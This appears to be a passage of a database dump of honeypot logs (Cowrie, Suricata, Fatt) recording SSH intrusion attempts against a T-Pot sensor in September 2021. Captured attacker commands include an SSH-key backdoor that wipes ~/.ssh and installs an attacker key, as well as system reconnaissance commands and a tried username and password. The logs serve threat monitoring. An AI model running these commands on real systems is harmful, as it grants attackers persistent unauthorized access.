AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:36.608992Z", "@timestamp": "2021-09-20T11:54:36.608Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33308	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:37.523324+03	2021-09-20 15:00:05.697722+03	{"_id": "lgYOA3wBvYTbRNuE3E7f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:37.523324Z", "@timestamp": "2021-09-20T11:54:37.523Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33309	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:37.602911+03	2021-09-20 15:00:05.699722+03	{"_id": "mwYOA3wBvYTbRNuE3E7f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l", "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:37.602911Z", "@timestamp": "2021-09-20T11:54:37.602Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33310	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:54:40.083349+03	2021-09-20 15:00:05.700721+03	{"_id": "uAYOA3wBvYTbRNuE6E6Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.login.failed", "message": "login attempt [open/open123] failed", "session": "13ec152810e1", "@version": "1", "password": "open123", "username": "open", "timestamp": "2021-09-20T11:54:40.083349Z", "@timestamp": "2021-09-20T11:54:40.083Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33311	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:42.400943+03	2021-09-20 15:00:05.701722+03	{"_id": "2AYOA3wBvYTbRNuE8E5u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:42.400943Z", "@timestamp": "2021-09-20T11:54:42.400Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33312	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:42.519909+03	2021-09-20 15:00:05.702722+03	{"_id": "1QYOA3wBvYTbRNuE8E5t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:42.519909Z", "@timestamp": "2021-09-20T11:54:42.519Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33313	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:55:00.145573+03	2021-09-20 15:00:05.703748+03	{"_id": "MQYPA3wBvYTbRNuENU86", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.105.80.34", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47220, "timestamp": "2021-09-20T11:55:00.145573", "@timestamp": "2021-09-20T11:55:00.145Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33314	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:55:00.6435+03	2021-09-20 15:00:05.704722+03	{"_id": "NwYPA3wBvYTbRNuENk_K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "121.4.68.188", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "c3d04de9c460", "@version": "1", "duration": 0.583355188369751, "duplicate": true, "timestamp": "2021-09-20T11:55:00.643500Z", "@timestamp": "2021-09-20T11:55:00.643Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33315	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:55:00.143454+03	2021-09-20 15:00:05.706722+03	{"_id": "OQYPA3wBvYTbRNuENk_K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "35ea6e2e09a5", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:55:00.143454Z", "@timestamp": "2021-09-20T11:55:00.143Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
33316	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:55:01.043027+03	2021-09-20 15:00:05.707721+03	{"_id": "PAYPA3wBvYTbRNuENk_L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:55:01.043027Z", "@timestamp": "2021-09-20T11:55:01.043Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33317	113.105.80.34	109.199.241.180	Suricata	2021-09-20 14:55:00.425688+03	2021-09-20 15:00:05.708722+03	{"_id": "PgYPA3wBvYTbRNuEOE8Y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:54:59.858794+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.105.80.34", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2093671844616874, "payload": "AAADzAYULHBq9rUWzvHQL8s12g3ggwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47220, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:55:00.425688Z", "@timestamp": "2021-09-20T11:55:00.425Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......,pj....../.5.\\r.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
33318	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:55:01.324254+03	2021-09-20 15:00:05.709722+03	{"_id": "PwYPA3wBvYTbRNuEOk-0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "121.4.68.188", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "c3d04de9c460", "@version": "1", "duration": 0.281843900680542, "duplicate": true, "timestamp": "2021-09-20T11:55:01.324254Z", "@timestamp": "2021-09-20T11:55:01.324Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33319	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:55:05.012207+03	2021-09-20 15:00:05.710723+03	{"_id": "SAYPA3wBvYTbRNuERk9t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 87.112.251.105:51359 (192.168.176.2:22) [session: faf46368c572]", "session": "faf46368c572", "@version": "1", "protocol": "ssh", "src_port": 51359, "dest_port": 22, "timestamp": "2021-09-20T11:55:05.012207Z", "@timestamp": "2021-09-20T11:55:05.012Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
33320	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:55:04.816364+03	2021-09-20 15:00:05.711722+03	{"_id": "SQYPA3wBvYTbRNuER0-5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 42267, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2970, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 850525773394146, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 57620, "timestamp": "2021-09-20T11:55:04.816364Z", "@timestamp": "2021-09-20T11:55:04.816Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
33321	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:55:04.81533+03	2021-09-20 15:00:05.713723+03	{"_id": "SgYPA3wBvYTbRNuER0-5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 42267, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 850525773394146, "@version": "1", "in_iface": "enp5s0", "src_port": 57620, "dest_port": 53, "timestamp": "2021-09-20T11:55:04.815330Z", "@timestamp": "2021-09-20T11:55:04.815Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
33322	113.105.80.34	109.199.241.180	Fatt	2021-09-20 14:55:00.425688+03	2021-09-20 15:00:05.715722+03	{"_id": "MAYPA3wBvYTbRNuENU86", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 47220, "dest_port": 22, "timestamp": "2021-09-20T11:55:00.425688", "@timestamp": "2021-09-20T11:55:00.425Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33323	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:55:00.140727+03	2021-09-20 15:00:05.716722+03	{"_id": "OgYPA3wBvYTbRNuENk_L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.105.80.34:47220 (192.168.176.2:22) [session: 35ea6e2e09a5]", "session": "35ea6e2e09a5", "@version": "1", "protocol": "ssh", "src_port": 47220, "dest_port": 22, "timestamp": "2021-09-20T11:55:00.140727Z", "@timestamp": "2021-09-20T11:55:00.140Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
